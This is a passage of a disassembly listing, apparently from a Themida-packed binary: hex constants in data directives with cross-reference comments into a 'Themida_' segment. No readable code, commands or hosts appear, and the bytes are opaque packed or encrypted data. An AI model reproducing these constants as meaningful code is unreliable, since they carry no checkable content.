82BA06E0h, 82BA06E1h dd 0A1B63BA3h, 0A7BADB55h, 0ABC0E15Bh, 0AEA4F55Fh, 0BAE6FA62h dd 1448C0B6h, 4D517456h, 3F1D6981h, 27F33F16h, 5869811Eh dd 0C6B32294h, 16EF124Fh, 0CCF03C0Dh, 0C6B38E00h, 0B3FFD34Fh dd 7B4BB45Bh, 0C90A79CAh, 0EB2A300Ah, 20186476h, 0F19F617Eh dd 67835754h, 4FC730F7h, 6D69DA35h, 0F7432621h, 6536h dd 5A86D000h, 0C6B32096h, 21ED144Fh, 2A162E0Eh, 8EF9D026h dd 5FFD2449h, 37835A7Bh, 1A667ADBh, 965A8622h, 560EFE20h dd 4921ED14h, 560EFE52h, 230D5911h, 714D5E72h, 0EFDE95Dh dd 88E44B56h, 560EFE16h, 0EA363116h, 8210861h, 357DE3Fh dd 0A9920000h, 0B6E962AEh, 7BCE59A5h, 731D7992h, 0D966D91Bh dd 6A81073Dh, 0F9327E54h, 324BF910h, 0B76D316Fh, 0E25BB79Fh dd 0E7519DB5h, 0CF58A4B6h, 0D26EBAB0h, 8C738EB1h, 0B47E2B7Eh dd 4D63D59Ch, 0B990DBEFh, 43DE498Eh, 0DE435C08h, 1044DC95h dd 33B03542h, 71982A98h, 56D11DCEh, 574B27F3h, 10560EDBh dd 75CD32Ch, 88B5525Ah, 61C883CFh, 0DED09CC8h, 4E560F50h dd 12F167B3h, 39AF079Ch, 3B7C5Bh, 86120000h, 0E8327E55h dd 6BD9EF51h, 8E9E8C5Fh, 5875E249h, 0D72E130Ch, 0DF4A404Ch dd 351D560Eh, 0FD156EDEh, 2E4FB99h, 27478E4h, 32560F03h dd 8E1143CFh, 0F55B3965h, 0CCh, 7A558689h, 5F73E42Eh, 5C798F49h dd 0DB321710h, 3410F950h, 38024E03h, 2B77700Fh, 1F6B7F20h dd 135F7324h, 24E0435h, 5B942038h, 0BE4FC6B1h, 0ACF860ACh db 8Bh, 0D3h word_5964D6 dw 0AB87h ; DATA XREF: Themida_:0053E598o ; Themida_:0053F720o dd 0B36CB8AAh, 9AC6DE5Eh, 6FBB95C6h, 0A9C14DB4h, 498EB692h dd 0B47BB55Ch, 0FCD06C84h, 4FD40619h, 6B4CF817h, 6F302874h dd 7EDE2C78h, 3BCCBF27h, 22B0DF0h, 0F2E20000h, 0F0EDAEA6h dd 0F5EBACA4h, 0F8EEAFA9h, 0FCD384ACh, 319988B0h, 0ED67B3ACh dd 0EF69B5ACh, 0C771BDAEh, 0C078C496h, 0CABC90DCh, 6A56144Ah dd 6681478Bh, 550D2E1Ah, 4FEB3E09h, 697A5B07h, 1C3F221Dh dd 0D831FA46h, 0FD49213Eh, 7330753h, 0C6B35343h, 323EE14Fh dd 4FC6B33Ch, 3F0511F0h, 75D3E95Bh, 8E9E8259h, 0FA45EC49h dd 0EDEF872h, 68516F56h, 1E905C6Dh, 0E560EDFh, 5A001AF3h dd 417A057Bh, 1D3E5B39h, 0D52CF743h, 0EBEC39h, 81820000h dd 1B3F1D69h, 0C6B35F4Fh, 616DCD4Fh, 4FC6B2EDh, 0ED49E03Fh dd 0E4302758h, 0B196515Bh, 0E5FD4FC6h, 34CD19CFh, 0DD25F708h dd 6F696F23h, 0F8EAABA3h, 0D45AD6AAh, 0BD910556h, 4FC700C9h dd 0C45DC46Bh, 9EE18798h, 0B9F2BBDFh, 56B1DFB1h, 0AF8BF58Bh dd 11CDEE96h, 6F96E2FBh, 94AC8CA3h, 8AD68FA8h, 96CE68C1h dd 8F10A1BAh, 0ACA48B49h, 0FF5D73C5h, 0E7A9B19Eh, 447CA7F3h dd 72EA44AEh, 0D4C4D85Eh, 47F51C4Fh, 32D796Eh, 206C7E57h dd 67F84227h, 1B8B5F70h, 194FC8BBh, 3F8B45F6h, 26041D04h dd 0CCBF9CD0h, 0EEDF3EE9h, 0A5000000h, 0A8F963AFh, 0A6F761ADh dd 0ADEE66B2h, 0AAEB65B1h, 70EF69B5h, 9EEAE56Ah, 0A0ECE5B6h dd 0A8F4E7B8h, 0AFFBEFB0h, 1CD1185h, 56144B8Dh, 81FA449Fh dd 0D2E1A66h, 28300A56h, 1D176377h, 1D698163h, 8A667A22h dd 4FC6B314h, 9346F918h, 925FC47h, 0E548964Ch, 0F9451B80h dd 0A1F0A10Eh, 0E7FBDC88h, 5DB9909Bh, 0A8C282F9h, 8C220A24h dd 0C7758C51h, 8B3EE003h, 0F833CE49h, 0D479347h, 1148964Ch dd 614A0F93h, 4C68E34Ah, 7038B979h, 814D71BDh, 70283A0Dh dd 2436001Fh, 8E4871E1h, 7367F842h, 766C2D27h, 5283212Ah dd 0DF42F7Bh, 2E7A5401h, 0E61D33F5h, 6B637971h, 0D9253C1Fh dd 3612FB4Eh, 44FF4B05h, 5CFD51DDh, 53F13A86h, 7D367F2Ah dd 0FC169216h, 1419h, 23AAD300h, 1C925E3Ch, 107027CAh dd 0CF9116F1h, 63BF8591h, 1F6B8117h, 135F7324h, 28746718h dd 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h, 236F6916h dd 125E7728h, 0EC837419h, 241C8904h, 0C381E389h, 4, 8704EB83h dd 685C241Ch, 1233h, 50241C89h, 405E089h, 83000000h, 48704E8h dd 3C895C24h, 339CBB24h, 0BD5542FDh, 40EE02C0h, 815DEB09h dd 23409DF3h, 0E3814363h, 669E37CDh, 75F38143h, 5426D1A3h dd 83243C8Bh, 0B95104C4h, 8, 8F53F901h, 34FF5901h, 0C4835F24h dd 2434FF04h, 4C4815Bh, 0E9000000h, 0FFFAE2F3h, 4E2D1D60h dd 0B81BB17Fh, 64D99EFh, 0E0FFC503h, 6D17A32Ch, 43E3B28Fh dd 0B0FCF49h, 73BB97E3h, 6651715h, 755E83DBh, 461BE70Dh dd 1E3E80C0h, 11E67A03h, 46A0492Bh, 2889954Fh, 22CCFF39h dd 4A204105h, 0D26DBF3h, 3DFD497Bh, 357914DEh, 13E2E6F5h dd 299C26DEh, 18EEDCCFh, 42C0A6E0h, 7498F821h, 7D4832CEh dd 0BBA997Ah, 1248B6D1h, 3078919Dh, 776C55A5h, 539B959Dh dd 512EE111h, 11DA67ABh, 0C4E613Bh, 5291C4CEh, 7E8h, 30DBD200h dd 26A27AF9h, 0F59E18Ah, 0C181C7B7h, 5B5Eh, 5E9h, 16F1B900h dd 0AF68F6A1h, 0F9000016h, 0F820F5Bh, 0E9000000h, 0Ah dd 94C4D614h, 0F7836DE1h, 318B814Eh, 0CB40EA81h, 0C681506Dh dd 4F30D20Ch, 0C681C68Ah, 12912CFh, 5E8h, 81CBFB00h, 0C18BD59Dh dd 0CEC68158h, 8111B788h, 7AB758EAh, 60318932h, 8BE3C480h dd 0E98361C8h, 0B8E0F04h, 0E9000000h, 6, 0D95A723Ch, 0EB835758h dd 0AB850F01h, 0E9FFFFFFh, 13h, 896D37BEh, 0F9C52D0Ah dd 0B182B305h, 5334CBA0h, 0E9D912BEh, 15Ch, 0F1FE1DBBh dd 97E64981h, 0BF45A91h, 52FF542Bh, 0BFC54F0h, 52F75A97h dd 3BDC739Dh, 528E268Fh, 0C5AE27A3h, 611A7B39h, 52C9B4BDh dd 52B81697h, 52B8179Fh, 52B816DBh, 52B816E9h, 52B816F6h dd 52B8167Bh, 52B81692h, 52B816DEh, 52B81667h, 52B816B7h dd 26CB6F88h, 72B87B88h, 31D764A6h, 0FCB651Eh, 52B816BDh dd 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh, 52B816EDh dd 52B816F6h, 52B8167Bh, 52B816BDh, 52B816DEh, 52B8166Fh dd 52B816B7h, 52B816DBh, 52B816EDh, 52B816F6h, 52B8167Bh dd 52B816BDh, 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh dd 52B816EDh, 52B816F6h, 52B8167Bh, 52B816BDh, 52B816DEh dd 52B8166Fh, 52B816B7h, 52B816DBh, 52B816EDh, 52B816F6h dd 52B8167Bh, 52B816BDh, 52B816DEh, 52B8166Fh, 52B816B7h dd 52B816DBh, 52B816EDh, 52B816F6h, 52B8167Bh, 52B816BDh dd 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh, 52B816EDh dd 52B816F6h, 52B8167Bh, 52B816BDh, 52B816DEh, 52B8166Fh dd 52B816B7h, 52B816DBh, 52B816EDh, 52B816F6h, 52B8167Bh dd 52B816BDh, 52B816DEh, 52B8166Fh, 52B816B7h, 52B816DBh dword_596A6C dd 3F827705h, 168AE9h, 9EAC6800h, 25E9064Dh, 68FFFBAAh ; DATA XREF: Themida_:0053FAE8o dd 64D9F86h, 0FBAA1BE9h, 0A08368FFh, 11E9064Dh, 68FFFBAAh dd 64DA146h, 0FBAA07E9h, 0A29768FFh, 0FDE9064Dh, 68FFFBA9h dd 64DA40Bh, 0FBA9F3E9h, 0A4E468FFh, 0E9E9064Dh, 68FFFBA9h dd 64DA5D6h, 0FBA9DFE9h, 0A82768FFh, 0D5E9064Dh, 68FFFBA9h dd 64DA8EAh, 0FBA9CBE9h, 0A9A468FFh, 0C1E9064Dh, 68FFFBA9h dd 64DAA4Eh, 0FBA9B7E9h, 0ABE868FFh, 0ADE9064Dh, 68FFFBA9h dd 64DB122h, 0FBA9A3E9h, 0B22368FFh, 99E9064Dh, 86FFFBA9h dd 0D0B5435h, 94A4DFB2h, 0A164948h, 98A8DBAEh, 76184B46h dd 98F9C542h, 88159E7h, 99F0C957h, 0E835AE6h, 9863C455h dd 9AB91A98h, 5CCC3B60h, 9FF2CC80h, 0EDFB4689h, 22CE78E2h dd 0AA32D6BBh, 4FC57E13h, 74FFE8D8h, 0AFBE5B3Fh, 296286C9h dd 0CF2B6677h, 4ED8AA02h, 5BA3E9A7h, 0A871EE70h, 35EA9Bh dd 3EC40000h, 0E35CCF37h, 0DC793E1Dh, 8CFDDB8Fh, 0EE83578h dd 0C2A922F1h, 833AFBDh, 533D4FFCh, 107CA74Eh, 0EF57C506h dd 0D9479BA7h, 307B8900h, 0AE35C6h, 22E90000h, 0AA32D6BBh dd 2E677D14h, 0B7AE0291h, 4B76A106h, 0B3DEFFEFh, 99F8C515h dd 0BEFC3DE6h, 0F295A106h, 6BD2769h, 83CCEFA1h, 92A8462Eh dd 0D21EF892h, 5BDDA6EBh, 60AD982h, 0CEA10703h, 0FE2ABE83h dd 0FB9C8F77h, 1F7127C4h, 81753D1Bh, 0BED6D338h, 31F25DAFh dd 8B7C44CBh, 274D800h, 0AA9DA0B6h, 6EB1E0FEh, 4454C72h dd 0FC53BECEh, 1D50FBB1h, 76000014h, 0DD5B2465h, 44D48F02h dd 0DA661978h, 48D88BFEh, 46681B76h, 0C8C915F2h, 58318997h dd 0C9C01927h, 5E338A96h, 0C8931425h, 9AB919C8h, 22330B90h dd 8E8AD5BCh, 8521622Fh, 5CCF373Eh, 0F97584BBh, 0D2787A51h dd 77F05B68h, 127AAFBDh, 0EA43E1A8h, 0CEA6DFDAh, 38053818h dd 64ED3FACh, 0E02CA74Eh, 1A7B516h, 0CFA39BA8h, 7B000000h dd 32D6BB22h, 677D14AAh, 6BEB702h, 0B09C41A1h, 66697F0Ah dd 5D8681Bh, 50C788Ch, 457FFAFh, 5B7CD7BAh, 43C47946h dd 0BEE753B8h, 0B172DDAFh, 0BFCC44Bh, 30800BACh, 0F8A74F75h dd 0B15861D5h, 37B60294h, 0DFA2EFCFh, 6D1CBC6Ch, 5E25457h dd 65E7F6A2h, 8C8F3554h, 657965D1h, 0D9E5F32Ch, 0B14D91B8h dd 8626FC53h, 1343DBh, 4A3F9C00h, 0D9B80719h, 4F429AA6h dd 0D5B40414h, 61308E8Ah, 0DB2C901Eh, 43D58E03h, 0CF511277h dd 54E49FEAh, 0CA570889h, 18969A69h, 0D15E9AB9h, 9FBC226Dh dd 6B7BCD4h, 43984A1h, 0D9D7A403h, 0A1A106B7h, 0B6DA2E90h dd 0F02DBCE3h, 0BE1F2106h, 0C95F2A8Eh, 8788BB86h, 59555B28h dd 0B21DA106h, 7F31FE48h, 979A2E5Bh, 0E7AA33A3h, 222AB464h dd 0EC2FD5BCh, 7505C531h, 0EAF62968h, 0E129BFD2h, 0EF6C50FCh dd 6B80C24h, 0B469D4A1h, 0F500D10h, 32D5A2F0h, 6B767A9h dd 2A0C2FA1h, 787353DAh, 0B8444C17h, 7C0CA106h, 88933160h dd 0F78461D5h, 0AFBE5120h, 5A2F8BFDh, 439783CEh, 0A6058EF8h dd 909FC071h, 35BE2999h, 0AD90B34Ah, 0E71BA914h, 0EB569260h dd 9818568Ah, 0ED9962E5h, 8CB3D41Bh, 67A66B53h, 79DDCCF3h dd 33E56669h, 9C9CE7AAh, 0F195041h, 98FE8088h, 124669D4h dd 3C9F0000h, 0B906124Dh, 4399A7D8h, 0B503154Eh, 318D8BD4h dd 2D8F1F60h, 0D48F02DCh, 50137644h, 0DFA0E9D0h, 4A157C61h dd 919F6CCFh, 599AB917h, 0BB226AD4h, 4FC632D6h, 0E2068B32h dd 0DAA9A2DFh, 0AFBEA3B1h, 0BFE023Bh, 6E6364D2h, 0A6424F6Eh dd 0B365E69Bh, 0D2BF1D27h, 9236EB36h, 7682AB8Fh, 0BAD7E567h dd 3E356187h, 39B645C6h, 3B6034Dh, 0FBE14FB8h, 0D543A496h dd 4AD68908h, 910A1E73h, 39CFBA1Fh, 79F004F6h, 8F019E89h dd 7BC6622Fh, 0E8BD329Fh, 447BC50h, 0D9D7A403h, 0A5B3EA18h dd 5C5F7514h, 328BFDFAh, 0C914245Fh, 41C83CC8h, 22FD8681h dd 0ECC2A1B8h, 8E88A8E1h, 792BEFBBh, 1183D6h, 8AFFDC00h dd 197847D9h, 8F02DA66h, 157444D4h, 0A1F0CE4Ah, 9B6CD0DEh dd 3154E43h, 8F91D2B7h, 14245F2Ah, 8A97C8C9h, 17565A29h dd 911E9AB9h, 0D5BC22ADh, 2DA3AA8Ah, 0B7AF018Ah, 5477A106h dd 6B769A7h, 530E31A1h, 0B84C0BD8h, 6BD6AFBEh, 526C1C5Dh dd 0B20BDB3Fh, 4994A4DFh, 0C148BC48h, 0B16C1DBCh, 4842AD36h dd 81CCB606h, 0CBBE1A86h, 0C408F23Dh, 13A65295h, 0EB4F5276h dd 4F6E070Fh, 9D66C942h, 0AD96E593h, 0D1E8F05Bh, 35212CB8h dd 0BD050CF0h, 0E5B6C14Ah, 0A553BC4Eh, 50847613h, 2E8FD7EDh dd 0AB5CC563h, 4CAEDBFDh, 242B66B0h, 0D7A06BDCh, 74C296E5h dd 0B8358E3Bh, 231788CDh, 45D38CAFh, 5E0B1978h, 0BA26FB4Eh dd 0F0209718h, 54EA4C44h, 4F751CA3h, 0CD25114Ch, 0E8A93441h dd 7D14A937h, 0CC343B67h, 0D093905Bh, 0B21DC8DEh, 0A11D4E71h dd 22F15AAAh, 0CF23DA15h, 0A87579Fh, 46E2A712h, 0D44446FBh dd 0F59C420Ah, 68B5DCE3h, 99DEF5Ch, 8E85C6BDh, 9126B536h dd 5BD57175h, 3489F7F0h, 0A6545C27h, 0B11CCD0Ah, 9825B36Ch dd 7A5526B4h, 5CC76C4Bh, 0F70D500Dh, 0E5AC127Eh, 0CE1AFC3Fh dd 0D2E8A1F0h, 0F5DCE379h, 10328C2Fh, 308B0000h, 0C51A2659h dd 378593CCh, 0C117295Ah, 358997C8h, 3983235Ch, 0D88B06D8h dd 4C177248h, 0E39CEDCCh, 56098855h, 959B68CBh, 5D9AB915h dd 0BC226ED0h, 13A652D5h, 44F5276h, 65123DC2h, 0A28B6FF2h dd 2F642AA5h, 2FE0E5A0h, 0C1C21BCBh, 0DEBE2488h, 0B235E8D2h dd 0CE8A8655h, 0EF52A105h, 9E3FC70Bh, 3588F8F3h, 90DAFA5Ch dd 328BEA34h, 3884C01Ah, 26592459h, 2A677729h, 1DE061E9h dd 77E35971h, 5FD85FBDh, 16A5B95h, 22130000h, 0B255D6BBh dd 6B7E729h, 0AA8CAFA1h, 88FBE22Ah, 7C48CC8Ch, 0E89BE613h dd 205FD74h, 0BE255A79h, 4BD9E4AFh, 0FF6F95CAh, 0E3018830h dd 921697D8h, 3D4F7CDEh, 7CA74E11h, 57C50610h, 479BA7A9h dd 0A5D81910h, 4DBE5C56h, 4E5872BEh, 23173AA7h, 3ACEh dd 373E9000h, 1C8F5CCFh, 0B9AFBE54h, 0E3838D56h, 4BA74Eh dd 0E333972Fh, 0EE48CC88h, 8835D3FEh, 0A74EC784h, 0EBD49C3h dd 9BA86510h, 0B50Ch, 39548B00h, 0B86D2DD1h, 22E953C7h dd 0BA25C8BBh, 78BBCEEAh, 0AF723328h, 5FEDD119h, 0BB49147Dh dd 0E9FF922Bh, 0AE103CA1h, 62E59EE3h, 0F16524B6h, 6B8D1C8h dd 1EBE6AA1h, 86578773h, 8B99F8C6h, 0D242FD40h, 0F3806B5Bh dd 0AFB9D470h, 0A454D7FAh, 2CAC771Ah, 364EFF92h, 3D029C70h dd 0EBE44A7h, 0C4170000h, 617E7AC5h, 0CBF1EF30h, 5D7B7DC6h dd 0D9E5F32Ch, 0D5E787B8h, 9CE7AA34h, 184B3E9Ch, 0A7D8B108h dd 124D4499h, 0D9D7A407h, 0A19AB913h, 0BC22E27Ch, 0B7BCD49Fh dd 3984A106h, 5CCC3B04h, 9DF4C87Ch, 1DF94487h, 0DAA5ECD1h dd 5281F26Dh, 0D0109435h, 0BB22E066h, 0B7BDD3A0h, 3A85A106h dd 4499E107h, 0B706124Dh, 0B7D9D7A4h, 9EA1A106h, 5AD145E3h dd 81F2816Ah, 0BAFBE53h, 0A667FC0h, 7C000008h, 2FD5BC22h dd 6B7828Ah, 23E36AA1h, 24045B28h, 83CEAFBBh, 0BEC51888h dd 35BEECDAh, 0A753EEDBh, 0D2D798A3h, 0E4671AC0h, 0C478B843h dd 7B44A753h, 29AFF216h db 0E1h byte_597231 db 0FCh, 95h, 6Fh ; DATA XREF: Themida_:0053EB2Co dd 2005F12Ch, 30D4BD20h, 0B64516A8h, 0A753C47Ah, 0B42FF42h dd 29A0F05h, 0E513BE6Eh, 3E00000Dh, 0A533EC9Dh, 2CAC771Ah dd 0C23E0190h, 30B07316h, 2E40038Eh, 0B0E1FD0Ah, 4049716Fh dd 0B1D801FFh, 464B726Eh, 0F07BFCFDh, 9AB913A0h, 311B4368h dd 0B7AB058Eh, 4873A106h, 0B5DC02EEh, 50F4C632h, 0FA5C2168h dd 771AA335h, 50681851h, 721FBF39h, 0FFEF4B56h, 0C838B3DEh dd 1BBF9BF6h, 0D0A571C9h, 0B3DBA4EDh, 956054A1h, 1A9Dh dd 0EB9DFA00h, 0C24BBCEh, 0D4A106ACh, 5C78D69h, 0A106B1DDh dd 0FDB9CFF2h, 5F3FFFFh, 0A106B7A7h, 0BF28988Fh, 0BB239334h dd 18C070AFh, 49125371h, 0A7545447h, 8571AC0Fh, 0F176DC55h dd 0D6A67C4Eh, 0CDF0A08Bh, 0EC7BB0B6h, 0E39E1254h, 5D26B868h dd 244BB57Bh, 1EF12CC0h, 5A4BC1EFh, 77C09AA6h, 0CA3D5469h dd 0EF41CA6Dh, 0B7A75436h, 37296794h, 0CEF1A754h, 0BE20686Ch dd 9DBE9AD3h, 1FC50299h, 0CF3BCh, 1A6F4C00h, 8908D769h dd 1F724AD6h, 8504D464h, 0F1A03EBAh, 0EB1C202Eh, 7385BED3h dd 0DF612267h, 44D48FFAh, 0DA671879h, 12868A59h, 0E14E9AB9h dd 0D6BB227Dh, 7E13AA32h, 4F612A8Dh, 17A106B8h, 0F88242B4h dd 0BA03727Ch, 74E28CD7h, 70956054h, 28h, 607F312Eh, 0AE889331h dd 6B23D25h, 27D952A1h, 860BB193h, 38225F62h, 0FFFCDE8Dh dd 2EBD5AFFh, 0A106C1E2h, 89B3A7AAh, 5CCF373Eh, 1D6C4DBBh dd 0A2C39039h, 428DAFBEh, 0D0F239A6h, 0D933A74Eh, 6960BE0Dh dd 0E0509BA8h, 53A892FFh, 203h, 825A7BB4h, 0B960FB6Ch dd 0D705F75Dh, 0A3A106B7h, 3CAF7217h, 83A1F0CCh, 0BA4ADE38h dd 23B56E23h, 6CD1F79Ah, 0A106B8C8h, 0F3C632B5h, 4206951h dd 186084B9h, 0F33ECAC7h, 0E630CC2Eh, 20632E8Fh, 34D0363Ch dd 187945B3h, 0A737C10Ch, 0FDE010EAh, 0D3E59394h, 5DDB44B6h dd 9DECCC80h, 0EF94487h, 0B8CEE2B1h, 2B96A106h, 0E07AA4E8h dd 8476681Ch, 47019B40h, 0CC40A107h, 0DF8B8942h, 80879560h dd 10000001h, 3ECCE4AFh, 0E494A107h, 8C6EB3D6h, 0D6BB22C2h dd 0E27EB932h, 1964DE64h, 0C11CCC2Eh, 0F0A08FD0h, 0A357C3CEh dd 25D354ACh, 0F739C299h, 0BFA105DAh, 9855C17Ch, 0BD7DE8CBh dd 0B94F72AFh, 4DFBF814h, 6FD037A7h, 4DFB8CA4h, 0DE954A7h dd 0B4A229F5h, 0B09BA794h, 38h, 0CF373E6Eh, 541C8F5Ch dd 9BA6AFBEh, 0A7DC00B0h, 81502BF6h, 7296CBD5h, 8E07CB2Fh dd 318EB622h, 0C479C460h, 0D4236952h, 2A62A74Eh, 706DEFDCh dd 0D4699BA8h, 45000000h, 32D6BB22h, 838D56B9h, 4BA106B7h dd 0F4CA1600h, 1335AA9Dh, 4DCC4356h, 69A22214h, 726A27B7h dd 6D2444Dh, 0CD4EDAB7h, 2C0E835Bh, 0AF7021BCh, 5B38D14h dd 0CBC617A1h, 0D4E99798h, 25EE27BDh, 0A105E30Bh, 23B568D3h dd 0EE1EF899h, 0B7E5A67h, 0A932D556h, 0A105E267h, 9473506Ah dd 132188E3h, 0E2B14EA8h, 0AFB934A1h, 6EEDD23Eh, 50C48BA5h dd 35E853A7h, 1978478Fh, 0DFE2F264h, 6D1CBC6Ch, 0F5C45457h dd 0D345A294h, 3BBD860Bh, 653FEEA3h, 0B6029D0Fh, 0AA24BF6h dd 0E0FB0000h, 556A76A9h, 0E7F5033Ch, 516779AAh, 0E5F90738h dd 0E9D373ACh, 48FB9628h, 1C6722B8h, 93CCBD1Ch, 26593885h dd 0C5CB981Bh, 8D9AB90Fh, 0BC223E20h, 2F8E8AD5h, 31852162h dd 0C7335E7Fh, 60CBC617h, 3C4282E7h, 4F6ACDCh, 0ECA538C0h dd 41B8A33h, 1B80000h, 71A720EFh, 29F1CD72h, 0A8E1F903h dd 4FB7BE4Eh, 24070FDCh, 2893AFBBh, 0C30388BFh, 22A0DBBh dd 6E6EB3D6h, 98D64051h, 32B50D04h, 0C4FFEA9h, 0D1ED9BB6h dd 3B8656C0h, 0DFEC40ADh, 0E12BAD9Ch, 78A8B615h, 84A4A1F6h dd 7A000003h, 6B7A705h, 0B8A756A1h, 0C64DA106h, 0E97E0DFEh dd 0B3AFBEA4h, 0DE188h, 8626029Fh, 9DFDBh, 0E6A33800h dd 4D449B9Dh, 0DBB60612h, 494098A8h, 0DDB40A16h, 57B804A2h dd 0C7590A87h, 4BCD96F3h, 0D8681B6Eh, 46D38C05h, 101A16E5h dd 0BDE29AB9h, 0D6BB22A1h, 774FC632h, 23B4E774h, 133EAFBBh dd 0B340DF50h, 0A754535Dh, 0CC401A25h, 18A7D45h, 0B608BFBEh dd 96020548h, 56C24544h, 0C110584h, 0A1EF7C1Bh, 69ADA1EFh dd 2DC7F466h, 0D5ADA1F3h, 4B652E58h, 13ADA1F1h, 5CB43FA8h dd 24ADA1F0h, 1D1B6419h, 0B038CCBDh, 2760840Dh, 0F0B5FB88h dd 527DADA1h, 6F1D14E8h, 0A1F08CA4h, 34E954ADh, 187945B3h dd 9855C10Ch, 599094CBh, 7AB31EBCh, 0F603C4BCh, 25BA25C7h dd 7E000009h, 0E5F32C5Dh, 6C6CB7DAh, 2FE4150h, 7070B3D6h dd 6E00434Eh, 7021BD4Ah, 8931AFh, 7118C13Fh, 68B32AEh dd 0B03BBC3Dh, 9AB90E60h, 3E5B0328h, 8F5CCF37h, 0AFBB2390h dd 0C434B71Ah, 2E7197FAh, 5D7D2BCCh, 0BBF4F32Ch, 0F74B95F7h dd 0DFFFF9B1h, 2F0B16B2h, 5A6E1BBFh, 6CDF272Eh, 8CC9C9Fh dd 0D1B26B6h, 50602B8Ch, 1CADA1FDh, 0F639CFC2h, 877BDFE2h dd 3CC74080h, 0BC59F84Fh, 0A1A673ECh, 0D1C8F5E0h, 34C0308h dd 0E675EF29h, 0B3EA6DAAh, 41124F72h, 2353DFEBh, 19C92D93h dd 0D2CB77B6h, 1CD0F603h, 87BB1h, 8207D400h, 0F1A03FC1h dd 870AB22Eh, 0ED9C3CBCh, 7918A632h, 7394A8C6h, 0DB5D266Bh dd 47D98AFFh, 0CC4C1772h, 62DFA0F1h, 0DFE12E1h, 59C69AB9h dd 0D6BB2205h, 7E13AA32h, 0CBBE1B8Dh, 0C408F23Dh, 582CBA32h dd 517712A8h, 0A1DCB509h, 0FD9429B5h, 510A0C42h, 0A4069560h dd 91000001h, 0B04B652Eh, 9A13A106h, 0CF64F620h, 0EE481567h dd 0A0BB2268h, 6B7BDD3h, 0D13A85A1h, 6B7EE42h, 0D68BB6A1h dd 7E13AA32h, 0D0C11B8Dh, 0D45BC166h, 0A43517A7h, 41FC3FE5h dd 53800BFCh, 0DDAFBE5Bh, 0A3E95672h, 6FA74ED8h, 2B850E4Dh dd 0F3A74ED9h, 0E76F95C8h, 0E728BCD5h, 9219A16Dh, 0F798ECFAh dd 4ED9246Ch, 75E1ECA7h, 0A8715DBFh, 3E599Bh, 52BE0000h dd 5D262168h, 0A74ED153h, 46B01Bh, 5CCF373Eh, 0BE541C8Fh dd 0B09BA6AFh, 46B0D900h, 0E3D3D986h, 7512A74Eh, 42B74D3Ah dd 0E920F396h, 0FBF7637Ah, 0B646D8F3h, 0E6429BA8h, 1C000000h dd 55D6BB22h, 641220DAh, 4E7105ECh, 0B81CFE43h, 9FCF083Fh dd 13D47F07h, 6544848h, 70AD10A1h, 0C8845A86h, 438E9AF7h dd 5BDB23F0h, 5B26C1AEh, 20EB4CCDh, 0A105E010h, 558175D8h dd 6BFB0988h, 7483152h, 0CCB2027Eh, 0AF61CE91h, 59648009h dd 7490F9DFh, 0E504CD29h, 0AFA1061Ch, 5CC0830Eh, 71FAEDD5h dd 0AFB96AF2h, 0D1B8218Fh, 0E14A7565h, 0A6EBD23Eh, 0F79A24B4h dd 6D4DBB2Ch, 51C5081Ch, 31583985h, 29CD95Bh, 0E125C85Ch dd 3A000006h, 0A937E8A1h, 38C87B16h, 0A632EDA4h, 2CAC7712h dd 2244FF92h, 0ACE5F916h, 34556573h, 0BDCCEDEBh, 2A677682h dd 0FC87E8F9h, 9AB90CB4h, 220F2F7Ch, 8E8AD5BCh, 6EE9622Fh dd 43E1B7A5h, 0FD917BFCh, 44ADF043h, 1D0A1307h, 0CF9FF17Ah dd 1F67A105h, 0A793CEBBh, 0D6BB229Dh, 7E13AA32h, 4B18C5h dd 31460000h, 0B7AB058Eh, 4873A106h, 1CB8E1EEh, 0B13AAD15h dd 0AFBB236Ch, 0ADBCFF2h, 9373FAFEh, 3589F798h, 1B1D135Ch dd 0C47AC0D9h, 85336952h, 90BBB608h, 4D167916h, 0ADA1B543h dd 0AF018A0Bh, 77ADA1B4h, 0A62D0954h, 45h, 0CF373EBCh dd 48948F5Ch, 0B31EAFBEh, 40CD738h, 0CCA74EE6h, 0B4359581h dd 0E5888853h, 0ED50A74Eh, 0B56DC009h, 0D63EA74Eh, 2C24948h dd 49489709h dd 0FA8F2BBBh, 4912D347h, 0B606675Ah, 7FA6D9E4h, 0CBh dd 5D7F3163h, 7316A434h, 1CF04A55h, 0B13AAD15h, 0AFBB2366h dd 0B0A7CC03h, 4DE2039Fh, 7DCF4902h, 0E03A5A9Ah, 2B5E7C0Ch dd 5CCF929Dh, 357310ACh, 2E6371A9h, 0CDD0F429h, 8773E469h dd 11B7DAE5h, 8B99F0C9h, 3E7C8A02h, 2E9D69A7h, 9BAE4230h dd 6A2Ch, 373E0200h, 0CE5A2F8Ah, 0D4F0A13Eh, 5EC994C9h dd 226F4FC1h, 238B8B38h, 0B417AFBBh, 907D433h, 0D1A75453h dd 14C38C6Eh, 0B73FADE4h, 0ADF00214h, 35FE9Bh, 3EE00000h dd 8F5CCF37h, 0AFBB238Eh, 2996A914h, 6722B7D1h, 0EBA639C1h dd 0CE1894DDh, 4F97D5ECh, 0ADEB9A7Ch, 0BE1E8A9Bh, 0F2EA35D3h dd 1C1FC5CCh, 0DC93Ah, 5A50000h, 0A106A17Fh, 0FEF3AD50h dd 3191FFFFh, 9430597Fh, 0D65DAD89h, 196EFDEEh, 0E3AFBB27h dd 1DC16FD8h, 0E94D5074h, 4EB6BDE9h, 0BB053ADDh, 867B0BC4h dd 0E4D8E155h, 7FB60881h, 40E4AD11h, 86C919FDh, 0C73F3662h dd 1818E344h, 1BADA1B2h, 0B768C51Eh, 0B4171DD4h, 0B9D6A542h dd 43BC5552h, 0E3B00FF8h, 0B3EE82CDh, 32C12A95h, 0B3EE82DEh dd 3EBF9BA6h, 0A3A4EDD2h, 4EA8E9F5h, 4FC73E9h, 0F22F7803h dd 0D6F9C2A2h, 6516A355h, 0D6F06196h, 1E611C20h, 13D0DA05h dd 4615A853h, 635E73BDh, 0F1A03F52h, 14CC8D3h, 0A304033Ch dd 635ED8D8h, 0B99DA052h, 0E301902Dh, 0DF48B8AFh, 1AEFDB14h dd 0CE5A6561h, 0E095619Fh, 5CCB94FDh, 6D5819E3h, 1307BDADh dd 714EF6C3h, 409D012h, 0CF922A50h, 9D2BF639h, 0B03AE35Ch dd 0B1D2DC8Ch, 5F62860Bh, 17A83822h, 0DD736E7Ah, 0B9057311h dd 15014CD8h, 0E699F0C9h, 